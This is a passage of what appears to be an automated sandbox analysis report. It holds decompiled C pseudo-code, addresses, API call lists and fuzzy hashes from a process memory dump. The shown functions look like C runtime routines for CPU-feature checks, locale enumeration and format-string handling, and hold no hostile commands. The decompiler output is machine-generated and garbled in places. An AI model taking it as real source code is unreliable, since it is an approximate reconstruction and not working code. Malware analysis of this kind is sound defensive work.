						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0xca3ac0 = _t96 | 0x00000002;
						}
					}
					_t61 =  *0xca3090; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0xca3abc = 1;
					 *0xca3090 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0xca3abc = 2;
						 *0xca3090 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0xca3090; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0xca3abc = 3;
								 *0xca3090 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0xca3abc = 5;
									 *0xca3090 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0xca3090 =  *0xca3090 | 0x00000040;
										 *0xca3abc = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0xca3ac0; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0xca3ac0 = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x00c570d4
0x00c570d7
0x00c570e1
0x00c570f2
0x00c572a1
0x00c572a4
0x00c572a4
0x00c570f8
0x00c570fe
0x00c57103
0x00c57107
0x00c5710b
0x00c5710c
0x00c5710e
0x00c57111
0x00c57116
0x00c5711f
0x00c57130
0x00c5713b
0x00c57141
0x00c57142
0x00c57147
0x00c5714a
0x00c5714f
0x00c57157
0x00c5715a
0x00c5715d
0x00c571a2
0x00c571a2
0x00c571a8
0x00c571a8
0x00c571ad
0x00c571ae
0x00c571b4
0x00c571e5
0x00c571b6
0x00c571b8
0x00c571b9
0x00c571be
0x00c571c1
0x00c571c3
0x00c571c6
0x00c571c9
0x00c571cc
0x00c571cf
0x00c571d8
0x00c571dd
0x00c571dd
0x00c571d8
0x00c571e8
0x00c571ed
0x00c571f0
0x00c571fa
0x00c57205
0x00c5720b
0x00c5720e
0x00c57218
0x00c57223
0x00c5722f
0x00c57232
0x00c57235
0x00c57240
0x00c57245
0x00c57247
0x00c5724c
0x00c5724f
0x00c57259
0x00c57261
0x00c57266
0x00c57270
0x00c5727e
0x00c57291
0x00c57298
0x00c57298
0x00c5727e
0x00c57261
0x00c57245
0x00c57223
0x00000000
0x00c572a0
0x00c57162
0x00c5716c
0x00c57191
0x00c57197
0x00c5719a
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00C570EA

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 90914ff0f155deeb89d39806995b5a245734a651e7b5be79d6ae988b8207f86c
Instruction ID: 952821b4de2fb59167cfa4f4cc78449ba4359f0484ff9c093c2d0a27e7bb190e
Opcode Fuzzy Hash: 90914ff0f155deeb89d39806995b5a245734a651e7b5be79d6ae988b8207f86c
Instruction Fuzzy Hash: 8051AF72A146158BDB14CF95E8957AEBBF4FB44305F24812AE855EB250D334DE84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00C85C70, Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00C85C70(void* __ecx, void* __edx, void* __eflags, signed int* _a4) {
				void* __ebp;
				intOrPtr _t26;
				intOrPtr _t29;
				signed int _t32;
				signed char _t33;
				signed char _t34;
				intOrPtr* _t38;
				intOrPtr* _t41;
				signed int _t47;
				void* _t50;
				void* _t51;
				signed int* _t52;
				void* _t53;
				signed int _t62;

				_t53 = E00C7B398(__ecx, __edx);
				_t47 = 2;
				_t38 =  *((intOrPtr*)(_t53 + 0x50));
				_t50 = _t38 + 2;
				do {
					_t26 =  *_t38;
					_t38 = _t38 + _t47;
				} while (_t26 != 0);
				_t41 =  *((intOrPtr*)(_t53 + 0x54));
				 *(_t53 + 0x60) = 0 | _t38 - _t50 >> 0x00000001 == 0x00000003;
				_t51 = _t41 + 2;
				do {
					_t29 =  *_t41;
					_t41 = _t41 + _t47;
				} while (_t29 != 0);
				_t52 = _a4;
				 *(_t53 + 0x64) = 0 | _t41 - _t51 >> 0x00000001 == 0x00000003;
				_t52[1] = 0;
				if( *(_t53 + 0x60) == 0) {
					_t47 = E00C85D6A( *((intOrPtr*)(_t53 + 0x50)));
				}
				 *(_t53 + 0x5c) = _t47;
				_t32 = EnumSystemLocalesW(0xc85da0, 1);
				_t62 =  *_t52 & 0x00000007;
				asm("bt ecx, 0x9");
				_t33 = _t32 & 0xffffff00 | _t62 > 0x00000000;
				asm("bt ecx, 0x8");
				_t34 = _t33 & 0xffffff00 | _t62 > 0x00000000;
				if((_t34 & (_t47 & 0xffffff00 | _t62 != 0x00000000) & _t33) == 0) {
					 *_t52 = 0;
					return _t34;
				}
				return _t34;
			}

0x00c85c7d
0x00c85c83
0x00c85c84
0x00c85c87
0x00c85c8a
0x00c85c8a
0x00c85c8d
0x00c85c8f
0x00c85c9d
0x00c85ca3
0x00c85ca6
0x00c85ca9
0x00c85ca9
0x00c85cac
0x00c85cae
0x00c85cb7
0x00c85cc2
0x00c85cc5
0x00c85ccb
0x00c85cd6
0x00c85cd6
0x00c85cdf
0x00c85ce2
0x00c85cea
0x00c85cf0
0x00c85cf4
0x00c85cf9
0x00c85cfd
0x00c85d02
0x00c85d04
0x00000000
0x00c85d04
0x00c85d0a

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

EnumSystemLocalesW.KERNEL32(00C85DA0,00000001,00000000,?,-00000050,?,00C863DB,00000000,?,?,?,00000055,?), ref: 00C85CE2

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c6aea949eb88622c1cec6d14156997b3af5f44b8db04e4e0826618b6658acd44
Instruction ID: c44b13cf25db84cf98ef412f2cb273afdb45af7221f246e035394c659ea35e07
Opcode Fuzzy Hash: c6aea949eb88622c1cec6d14156997b3af5f44b8db04e4e0826618b6658acd44
Instruction Fuzzy Hash: 2A110C3B2007019FDB18AF39C9956BABB91FF8476DB54443DE94687A40D7B17942CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00C85D0B, Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C85D0B(void* __ecx, void* __edx, void* __eflags, signed char* _a4) {
				void* __ebp;
				intOrPtr _t11;
				signed char* _t15;
				intOrPtr* _t19;
				intOrPtr _t24;
				void* _t25;
				void* _t26;

				_t26 = E00C7B398(__ecx, __edx);
				_t24 = 2;
				_t19 =  *((intOrPtr*)(_t26 + 0x50));
				_t25 = _t19 + 2;
				do {
					_t11 =  *_t19;
					_t19 = _t19 + _t24;
				} while (_t11 != 0);
				_t4 = _t19 - _t25 >> 1 == 3;
				 *(_t26 + 0x60) = 0 | _t4;
				if(_t4 != 0) {
					_t24 = E00C85D6A( *((intOrPtr*)(_t26 + 0x50)));
				}
				 *((intOrPtr*)(_t26 + 0x5c)) = _t24;
				EnumSystemLocalesW(0xc86000, 1);
				_t15 = _a4;
				if(( *_t15 & 0x00000004) == 0) {
					 *_t15 = 0;
					return _t15;
				}
				return _t15;
			}

0x00c85d18
0x00c85d1e
0x00c85d1f
0x00c85d22
0x00c85d25
0x00c85d25
0x00c85d28
0x00c85d2a
0x00c85d38
0x00c85d3b
0x00c85d3e
0x00c85d49
0x00c85d49
0x00c85d52
0x00c85d55
0x00c85d5b
0x00c85d61
0x00c85d63
0x00000000
0x00c85d63
0x00c85d69

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

EnumSystemLocalesW.KERNEL32(00C86000,00000001,00000000,?,-00000050,?,00C8639F,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00C85D55

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0a566bb6c37d0bf6931e92015a3051ceb21f1696d15dabfeb9dcc94e31e5b678
Instruction ID: c207c3c3dfc2b8359ab93b42750b80bb0eef43d8c8f2a00c0503bfe793f4f39b
Opcode Fuzzy Hash: 0a566bb6c37d0bf6931e92015a3051ceb21f1696d15dabfeb9dcc94e31e5b678
Instruction Fuzzy Hash: 6AF02D322007045FDB246F389889A6A7B90FB8076CF08842EF9468B680C6B1AD42C748

Uniqueness

Uniqueness Score: -1.00%

Function 00C86503, Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00C86503(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t17;
				signed int _t29;
				void* _t31;

				_push(0xc);
				_push(0xca1998);
				E00C57070(__ebx, __edi, __esi);
				 *(_t31 - 0x1c) =  *(_t31 - 0x1c) & 0x00000000;
				E00C7BB01( *((intOrPtr*)( *((intOrPtr*)(_t31 + 8)))));
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				 *0xca4cb8 = E00C865D1( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t31 + 0xc)))))));
				_t29 = EnumSystemLocalesW(0xc864f0, 1);
				_t17 =  *0xca3098; // 0x75d6936a
				 *0xca4cb8 = _t17;
				 *(_t31 - 0x1c) = _t29;
				 *(_t31 - 4) = 0xfffffffe;
				E00C86573();
				 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0x10));
				return _t29;
			}

0x00c86503
0x00c86505
0x00c8650a
0x00c8650f
0x00c86518
0x00c8651e
0x00c8652f
0x00c86541
0x00c86543
0x00c86548
0x00c8654d
0x00c86550
0x00c86557
0x00c86561
0x00c8656d

APIs

Part of subcall function 00C7BB01: EnterCriticalSection.KERNEL32(-000514FF,?,00C63DBE,00C53757,00CA1490,00000008,00C64073,?,00C53341,00C53757,00C53341,00000001), ref: 00C7BB10

EnumSystemLocalesW.KERNEL32(00C864F0,00000001,00CA1998,0000000C,00C86E2C,00000000), ref: 00C8653B

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 2b19f7b2c820c29020aa8dd8960a80e318806a7374dfd524c3f70427bbb998e1
Instruction ID: d11b46fd2de9efc62c0353b5e1e0a1a658bb71b2b1ae80bb4ca51095de6a99ea
Opcode Fuzzy Hash: 2b19f7b2c820c29020aa8dd8960a80e318806a7374dfd524c3f70427bbb998e1
Instruction Fuzzy Hash: 69F04936A04204EFDB14EFA8E846B9D77F0EB85729F10412AF8049B2A0CBB55A81DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00C85C07, Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C85C07(void* __ecx, void* __edx, void* __eflags, signed char* _a4) {
				void* __ebp;
				intOrPtr _t9;
				signed char* _t13;
				intOrPtr* _t15;
				void* _t19;
				void* _t21;

				_t19 = E00C7B398(__ecx, __edx);
				_t15 =  *((intOrPtr*)(_t19 + 0x54));
				_t21 = _t15 + 2;
				do {
					_t9 =  *_t15;
					_t15 = _t15 + 2;
				} while (_t9 != 0);
				 *(_t19 + 0x64) = 0 | _t15 - _t21 >> 0x00000001 == 0x00000003;
				EnumSystemLocalesW(0xc85b60, 1);
				_t13 = _a4;
				if(( *_t13 & 0x00000004) == 0) {
					 *_t13 = 0;
					return _t13;
				}
				return _t13;
			}

0x00c85c13
0x00c85c17
0x00c85c1a
0x00c85c1d
0x00c85c1d
0x00c85c20
0x00c85c23
0x00c85c3b
0x00c85c3e
0x00c85c44
0x00c85c4a
0x00c85c4c
0x00000000
0x00c85c4c
0x00c85c51

APIs

Part of subcall function 00C7B398: GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
Part of subcall function 00C7B398: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

EnumSystemLocalesW.KERNEL32(00C85B60,00000001,00000000,?,?,00C863FD,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00C85C3E

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: d18a86279aa4a82bba87cdb2b1bac00c5b1896f92ad66983df2bb6d520076b55
Instruction ID: b27b3c16853a9b898f1defc5297e790757862931bab0e665b69f41c746722b33
Opcode Fuzzy Hash: d18a86279aa4a82bba87cdb2b1bac00c5b1896f92ad66983df2bb6d520076b55
Instruction Fuzzy Hash: 69F0E53630030957CB14AF39D859B6F7F94EFC2768B4A4099EA098B291C6B19D82CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C86FBB, Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,00C7944D,?,20001004,00000000,00000002,?,?,00C787AE), ref: 00C86FEF

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: a61a13f7cb2f1f1df8f7c92d473939065ea0e5a072ce68bd51eb378063cb0d0f
Instruction ID: 7334c048877102a3a1fd99c21b916c7275085cb727d574aa4d32502102090b05
Opcode Fuzzy Hash: a61a13f7cb2f1f1df8f7c92d473939065ea0e5a072ce68bd51eb378063cb0d0f
Instruction Fuzzy Hash: FAE01A32505119BBCF123FA1EC09B9E7F19FF44754F004025F905652628B32C920AB99

Uniqueness

Uniqueness Score: -1.00%

Function 00C6F242, Relevance: 1.5, Strings: 1, Instructions: 243
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E00C6F242(intOrPtr* __ecx, void* __edi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				short _v24;
				void* __ebx;
				void* __esi;
				signed int _t57;
				signed int _t59;
				signed int _t60;
				void* _t61;
				signed int _t62;
				signed int _t63;
				signed char _t66;
				signed char _t68;
				signed int _t69;
				short _t71;
				void* _t72;
				signed char _t78;
				signed char _t81;
				void* _t86;
				void* _t87;
				signed char _t89;
				signed char _t91;
				signed int _t92;
				signed int _t94;
				signed int _t96;
				signed int _t97;
				signed int _t100;
				unsigned int _t101;
				signed int _t102;
				void* _t105;
				void* _t107;
				signed int _t112;
				unsigned int _t114;
				signed int* _t116;
				signed char _t117;
				signed int _t125;
				void* _t128;
				signed int _t129;
				short _t130;
				void* _t131;
				intOrPtr* _t132;
				signed int _t133;
				void* _t134;
				void* _t136;
				void* _t137;

				_t128 = __edi;
				_t57 =  *0xca3098; // 0x75d6936a
				_v8 = _t57 ^ _t133;
				_t132 = __ecx;
				_t100 = 0;
				_t125 = 0x41;
				_t59 =  *(__ecx + 0x32) & 0x0000ffff;
				_t107 = 0x58;
				_t136 = _t59 - 0x64;
				if(_t136 > 0) {
					__eflags = _t59 - 0x70;
					if(__eflags > 0) {
						_t60 = _t59 - 0x73;
						__eflags = _t60;
						if(_t60 == 0) {
							L9:
							_t61 = E00C73804(_t132);
							L10:
							if(_t61 != 0) {
								_t62 = E00C6BDC0(_t132);
								__eflags = _t62;
								if(_t62 != 0) {
									L71:
									_t63 = 1;
									L72:
									return E00C572B1(_t63, _t100, _v8 ^ _t133, _t125, _t128, _t132);
								}
								__eflags =  *((intOrPtr*)(_t132 + 0x30)) - _t100;
								if( *((intOrPtr*)(_t132 + 0x30)) != _t100) {
									goto L71;
								}
								_t112 = _t100;
								_v16 = _t100;
								_v12 = _t100;
								_t101 =  *(_t132 + 0x20);
								_push(_t128);
								_v20 = _t112;
								_t66 = _t101 >> 4;
								_t129 = 0x20;
								__eflags = 1 & _t66;
								if((1 & _t66) == 0) {
									L47:
									_t125 =  *(_t132 + 0x32) & 0x0000ffff;
									_t130 = 0x78;
									__eflags = _t125 - _t130;
									if(_t125 == _t130) {
										L49:
										_t68 = _t101 >> 5;
										__eflags = _t68 & 0x00000001;
										if((_t68 & 0x00000001) == 0) {
											L51:
											_t102 = 0;
											__eflags = 0;
											L52:
											__eflags = _t125 - 0x61;
											if(_t125 == 0x61) {
												L55:
												_t69 = 1;
												L56:
												_v24 = 0x30;
												__eflags = _t102;
												if(_t102 != 0) {
													L58:
													 *((short*)(_t133 + _t112 * 2 - 0xc)) = _v24;
													_t71 = 0x58;
													__eflags = _t125 - _t71;
													if(_t125 == _t71) {
														L60:
														_t130 = _t71;
														L61:
														 *((short*)(_t133 + _t112 * 2 - 0xa)) = _t130;
														_t112 = _t112 + 2;
														__eflags = _t112;
														_v20 = _t112;
														L62:
														_t72 = _t132 + 0x18;
														_t131 = _t132 + 0x448;
														_t100 =  *((intOrPtr*)(_t132 + 0x24)) -  *((intOrPtr*)(_t132 + 0x38)) - _t112;
														__eflags =  *(_t132 + 0x20) & 0x0000000c;
														if(( *(_t132 + 0x20) & 0x0000000c) == 0) {
															E00C68F7A(_t131, 0x20, _t100, _t72);
															_t112 = _v20;
															_t134 = _t134 + 0x10;
														}
														_push(_t132 + 0xc);
														E00C756E2(_t131,  &_v16, _t112, _t132 + 0x18);
														_t114 =  *(_t132 + 0x20);
														_t78 = _t114 >> 3;
														__eflags = _t78 & 0x00000001;
														if((_t78 & 0x00000001) != 0) {
															_t117 = _t114 >> 2;
															__eflags = _t117 & 0x00000001;
															if((_t117 & 0x00000001) == 0) {
																E00C68F7A(_t131, _v24, _t100, _t132 + 0x18);
																_t134 = _t134 + 0x10;
															}
														}
														E00C754FD(_t132, _t125, 0);
														_t116 = _t132 + 0x18;
														__eflags =  *_t116;
														if( *_t116 >= 0) {
															_t81 =  *(_t132 + 0x20) >> 2;
															__eflags = _t81 & 0x00000001;
															if((_t81 & 0x00000001) != 0) {
																E00C68F7A(_t131, 0x20, _t100, _t116);
															}
														}
														_pop(_t128);
														goto L71;
													}
													_t105 = 0x41;
													__eflags = _t125 - _t105;
													if(_t125 != _t105) {
														goto L61;
													}
													goto L60;
												}
												__eflags = _t69;
												if(_t69 == 0) {
													goto L62;
												}
												goto L58;
											}
											_t86 = 0x41;
											__eflags = _t125 - _t86;
											if(_t125 == _t86) {
												goto L55;
											}
											_t69 = 0;
											goto L56;
										}
										_t102 = 1;
										goto L52;
									}
									_t87 = 0x58;
									__eflags = _t125 - _t87;
									if(_t125 != _t87) {
										goto L51;
									}
									goto L49;
								}
								_t89 = _t101 >> 6;
								__eflags = 1 & _t89;
								if((1 & _t89) == 0) {
									__eflags = 1 & _t101;
									if((1 & _t101) == 0) {
										_t91 = _t101 >> 1;
										__eflags = 1 & _t91;
										if((1 & _t91) != 0) {
											_v16 = _t129;
											_t112 = 1;
											_v20 = 1;
										}
										goto L47;
									}
									_push(0x2b);
									L44:
									_pop(_t92);
									_t112 = 1;
									_v16 = _t92;
									_v20 = 1;
									goto L47;
								}
								_push(0x2d);
								goto L44;
							}
							L11:
							_t63 = 0;
							goto L72;
						}
						_t94 = _t60;
						__eflags = _t94;
						if(__eflags == 0) {
							L29:
							_push(_t100);
							_push(0xa);
							L30:
							_t61 = E00C72801(_t132, __eflags);
							goto L10;
						}
						__eflags = _t94 - 3;
						if(__eflags != 0) {
							goto L11;
						}
						_push(0);
						L13:
						_push(0x10);
						goto L30;
					}
					if(__eflags == 0) {
						_t61 = E00C7333B(__ecx);
						goto L10;
					}
					__eflags = _t59 - 0x65;
					if(_t59 < 0x65) {
						goto L11;
					}
					__eflags = _t59 - 0x67;
					if(_t59 <= 0x67) {
						L31:
						_t61 = E00C70ECB(_t132);
						goto L10;
					}
					__eflags = _t59 - 0x69;
					if(_t59 == 0x69) {
						L28:
						_t3 = _t132 + 0x20;
						 *_t3 =  *(_t132 + 0x20) | 0x00000010;
						__eflags =  *_t3;
						goto L29;
					}
					__eflags = _t59 - 0x6e;
					if(_t59 == 0x6e) {
						_t61 = E00C72FCC(__ecx, _t125);
						goto L10;
					}
					__eflags = _t59 - 0x6f;
					if(_t59 != 0x6f) {
						goto L11;
					}
					_t61 = E00C7320D(__ecx);
					goto L10;
				}
				if(_t136 == 0) {
					goto L28;
				}
				_t137 = _t59 - _t107;
				if(_t137 > 0) {
					_t96 = _t59 - 0x5a;
					__eflags = _t96;
					if(_t96 == 0) {
						_t61 = E00C6FFA7(0, __ecx);
						goto L10;
					}
					_t97 = _t96 - 7;
					__eflags = _t97;
					if(_t97 == 0) {
						goto L31;
					}
					__eflags = _t97 != 0;
					if(_t97 != 0) {
						goto L11;
					}
					L17:
					_t61 = E00C7184C(_t132, _t125, _t100);
					goto L10;
				}
				if(_t137 == 0) {
					_push(1);
					goto L13;
				}
				if(_t59 == _t125) {
					goto L31;
				}
				if(_t59 == 0x43) {
					goto L17;
				}
				if(_t59 <= 0x44) {
					goto L11;
				}
				if(_t59 <= 0x47) {
					goto L31;
				}
				if(_t59 != 0x53) {
					goto L11;
				}
				goto L9;
			}

0x00c6f242
0x00c6f24a
0x00c6f251
0x00c6f256
0x00c6f258
0x00c6f25c
0x00c6f25f
0x00c6f263
0x00c6f264
0x00c6f267
0x00c6f2d4
0x00c6f2d7
0x00c6f32e
0x00c6f32e
0x00c6f331
0x00c6f295
0x00c6f297
0x00c6f29c
0x00c6f29e
0x00c6f34e
0x00c6f353
0x00c6f355
0x00c6f4a6
0x00c6f4a6
0x00c6f4a8
0x00c6f4b5
0x00c6f4b5
0x00c6f35b
0x00c6f35e
0x00000000
0x00000000
0x00c6f364
0x00c6f366
0x00c6f369
0x00c6f36f
0x00c6f373
0x00c6f376
0x00c6f379
0x00c6f37e
0x00c6f37f
0x00c6f381
0x00c6f3b3
0x00c6f3b3
0x00c6f3b9
0x00c6f3ba
0x00c6f3bd
0x00c6f3c7
0x00c6f3c9
0x00c6f3cc
0x00c6f3ce
0x00c6f3d4
0x00c6f3d4
0x00c6f3d4
0x00c6f3d6
0x00c6f3d6
0x00c6f3d9
0x00c6f3e7
0x00c6f3e7
0x00c6f3e9
0x00c6f3e9
0x00c6f3f0
0x00c6f3f2
0x00c6f3f8
0x00c6f3fd
0x00c6f402
0x00c6f403
0x00c6f406
0x00c6f410
0x00c6f410
0x00c6f412
0x00c6f412
0x00c6f417
0x00c6f417
0x00c6f41a
0x00c6f41d
0x00c6f420
0x00c6f426
0x00c6f42c
0x00c6f42e
0x00c6f432
0x00c6f439
0x00c6f43e
0x00c6f441
0x00c6f441
0x00c6f447
0x00c6f453
0x00c6f458
0x00c6f45d
0x00c6f460
0x00c6f462
0x00c6f464
0x00c6f467
0x00c6f46a
0x00c6f475
0x00c6f47a
0x00c6f47a
0x00c6f46a
0x00c6f481
0x00c6f486
0x00c6f489
0x00c6f48c
0x00c6f491
0x00c6f494
0x00c6f496
0x00c6f49d
0x00c6f4a2
0x00c6f496
0x00c6f4a5
0x00000000
0x00c6f4a5
0x00c6f40a
0x00c6f40b
0x00c6f40e
0x00000000
0x00000000
0x00000000
0x00c6f40e
0x00c6f3f4
0x00c6f3f6
0x00000000
0x00000000
0x00000000
0x00c6f3f6
0x00c6f3dd
0x00c6f3de
0x00c6f3e1
0x00000000
0x00000000
0x00c6f3e3
0x00000000
0x00c6f3e3
0x00c6f3d0
0x00000000
0x00c6f3d0
0x00c6f3c1
0x00c6f3c2
0x00c6f3c5
0x00000000
0x00000000
0x00000000
0x00c6f3c5
0x00c6f385
0x00c6f388
0x00c6f38a
0x00c6f390
0x00c6f392
0x00c6f3a4
0x00c6f3a6
0x00c6f3a8
0x00c6f3aa
0x00c6f3ae
0x00c6f3b0
0x00c6f3b0
0x00000000
0x00c6f3a8
0x00c6f394
0x00c6f396
0x00c6f396
0x00c6f397
0x00c6f399
0x00c6f39d
0x00000000
0x00c6f39d
0x00c6f38c
0x00000000
0x00c6f38c
0x00c6f2a4
0x00c6f2a4
0x00000000
0x00c6f2a4
0x00c6f338
0x00c6f338
0x00c6f33b
0x00c6f30a
0x00c6f30a
0x00c6f30b
0x00c6f30d
0x00c6f30f
0x00000000
0x00c6f30f
0x00c6f33d
0x00c6f340
0x00000000
0x00000000
0x00c6f346
0x00c6f2ad
0x00c6f2ad
0x00000000
0x00c6f2ad
0x00c6f2d9
0x00c6f324
0x00000000
0x00c6f324
0x00c6f2db
0x00c6f2de
0x00000000
0x00000000
0x00c6f2e0
0x00c6f2e3
0x00c6f316
0x00c6f318
0x00000000
0x00c6f318
0x00c6f2e5
0x00c6f2e8
0x00c6f306
0x00c6f306
0x00c6f306
0x00c6f306
0x00000000
0x00c6f306
0x00c6f2ea
0x00c6f2ed
0x00c6f2ff
0x00000000
0x00c6f2ff
0x00c6f2ef
0x00c6f2f2
0x00000000
0x00000000
0x00c6f2f6
0x00000000
0x00c6f2f6
0x00c6f269
0x00000000
0x00000000
0x00c6f26f
0x00c6f271
0x00c6f2b1
0x00c6f2b1
0x00c6f2b4
0x00c6f2cd
0x00000000
0x00c6f2cd
0x00c6f2b6
0x00c6f2b6
0x00c6f2b9
0x00000000
0x00000000
0x00c6f2bc
0x00c6f2bf
0x00000000
0x00000000
0x00c6f2c1
0x00c6f2c4
0x00000000
0x00c6f2c4
0x00c6f273
0x00c6f2ab
0x00000000
0x00c6f2ab
0x00c6f277
0x00000000
0x00000000
0x00c6f280
0x00000000
0x00000000
0x00c6f285
0x00000000
0x00000000
0x00c6f28a
0x00000000
0x00000000
0x00c6f293
0x00000000
0x00000000
0x00000000

Strings

0, xrefs: 00C6F3E9

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 2a915ad2eec3bdffb8963d08b50270f2eae1f87c2cddf42dcdfdbf19656569d8
Instruction ID: 7786001b2d59275bca9b53624cef199eb44ac8ea67a5b0c9d971dd10d5f04e66
Opcode Fuzzy Hash: 2a915ad2eec3bdffb8963d08b50270f2eae1f87c2cddf42dcdfdbf19656569d8
Instruction Fuzzy Hash: 5B61797060020596DF389A69B8E17BE73A5AF42700F54443EE862EB3A1DB61DF47DB12

Uniqueness

